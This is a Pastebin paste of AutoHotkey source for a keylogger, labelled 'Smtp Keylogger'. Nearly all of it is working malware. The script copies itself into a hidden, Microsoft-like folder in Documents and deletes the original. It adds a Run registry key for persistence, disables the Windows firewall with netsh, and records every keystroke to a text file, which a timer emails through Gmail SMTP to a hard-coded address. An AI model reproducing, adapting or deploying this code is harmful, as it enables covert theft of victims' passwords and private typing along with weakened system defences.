Guest User

Smtp Keylogger

a guest
Nov 16th, 2017
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #SingleInstance
  2. #NoTrayIcon
  3.  
  4. ;-Stealth-;
  5. If !FileExist(A_MyDocuments . "\microsofti\" . A_ScriptName) {
  6.        SetWorkingDir %A_ScriptDir%
  7.        FileAppend, %A_ScriptDir%, %A_Temp%\Temporary.tmp
  8.        FileCopy, %A_ScriptFullPath%, %A_MyDocuments%\microsofti
  9.        Run, %A_MyDocuments%\microsofti\%A_ScriptName%
  10.        Exit
  11. }
  12.  
  13. If FileExist(A_MyDocuments . "\microsofti\" . A_ScriptName) {
  14.        FileSetAttrib, ^H, %A_MyDocuments%\microsofti\%A_ScriptName%
  15.        FileReadLine, OriginalPath, %A_Temp%\Temporary.tmp, 1
  16.        FileDelete, %OriginalPath%\%A_ScriptName%
  17. }
  18.  
  19. ;-RegistryStart-;
  20. RegWrite, REG_SZ, HKEY_CURRENT_USER,Software\Microsoft\Windows\CurrentVersion\Run, KeyLogger, %A_MyDocuments%\microsofti\%A_ScriptName%
  21.  
  22. ;-DisableFirewall-;
  23. run, netsh advfirewall firewall set allprofiles state off, , Hide
  24.  
  25. ;-Delay-; Every minute.
  26. SetTimer, SendByEmail, 100000
  27.  
  28. ;-Key Logger-;
  29. Loop
  30. {
  31.    Input, key, V T1,
  32.    FileAppend, %key%, %A_MyDocuments%\microsofti\key.txt
  33. }
  34.  
  35. ;-SMPT Emailer-;
  36. ProgrammPfad = %A_MyDocuments%\microsofti
  37. IniPfad = %ProgrammPfad%\key.txt
  38. Ifnotexist %ProgrammPfad%
  39. {
  40.    FileCreateDir, %ProgrammPfad%
  41. }
  42.  
  43. SendByEmail:
  44. {
  45.    FileRead, Contents, %A_MyDocuments%\microsofti\key.txt
  46.  
  47.    sender := "jacobgilbrt123@gmail.com"
  48.    senderPass := password
  49.    receiver := "jacobgilbrt123@gmail.com"
  50.    subject := "Some New Logs:"
  51.    pmsg := ComObjCreate("CDO.Message")
  52.    pmsg.From := sender
  53.    pmsg.To := receiver
  54.    pmsg.BCC := ""
  55.    pmsg.CC := ""
  56.    pmsg.Subject := subject
  57.    fontsize := 2
  58.    fontname := "Arial"
  59.    font2size := 1
  60.    font2name := "Courier New"
  61.    pmsg.HtmlBody := "<html><font size= " . fontsize . " face= " . fontname . " ><body><h5>New Logs have been sent!</body></h5></font><br><font size= " . font2size . " face= " . font2name . " > " . Contents . " </font></html>"
  62.  
  63.    fields := Object()
  64.    fields.smtpserver := "smtp.gmail.com"
  65.    fields.smtpserverport := 456
  66.    fields.smtpusessl := True
  67.    fields.sendusing := 2
  68.    fields.smtpauthenticate := 1
  69.    fields.sendusername := "jacobgilbrt123@gmail.com"
  70.    fields.sendpassword := "password"
  71.    fields.smtpconnectiontimeout := 60
  72.    schema := "http://schemas.microsoft.com/cdo/configuration/"
  73.  
  74.    pfld := pmsg.Configuration.Fields
  75.    For field,value in fields
  76.    pfld.Item(schema . field) := value
  77.    pfld.Update()
  78.    
  79.    pmsg.Send()
  80. }
Add Comment
Please, Sign In to add comment